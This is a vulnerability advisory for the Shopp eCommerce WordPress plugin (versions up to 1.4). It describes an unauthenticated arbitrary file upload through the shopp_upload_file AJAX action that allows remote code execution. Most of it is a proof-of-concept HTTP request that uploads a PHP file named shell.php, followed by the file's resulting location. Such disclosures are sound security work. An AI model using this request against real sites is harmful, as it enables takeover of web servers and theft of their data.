Shopp eCommerce <= 1.4 - Unauthenticated Arbitrary File Upload

Description

The shopp_upload_file AJAX action of the plugin, available to both unauthenticated and authenticated user does not have any security measure in place to prevent upload of malicious files, such as PHP, allowing unauthenticated users to upload arbitrary files and leading to RCE

Proof of Concept

https://www.youtube.com/watch?v=Y4dHEk2mWLw

POST /wp-admin/admin-ajax.php?action=shopp_upload_file HTTP/1.1
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2167174666627501894262091506
Content-Length: 499
Connection: close

-----------------------------2167174666627501894262091506
Content-Disposition: form-data; name="dzchunkindex"

0
-----------------------------2167174666627501894262091506
Content-Disposition: form-data; name="dztotalchunkcount"

1
-----------------------------2167174666627501894262091506
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php
echo 'Failed';
?>

-----------------------------2167174666627501894262091506--


Uploaded file will be at https://example.com/wp-content/uploads/shell.php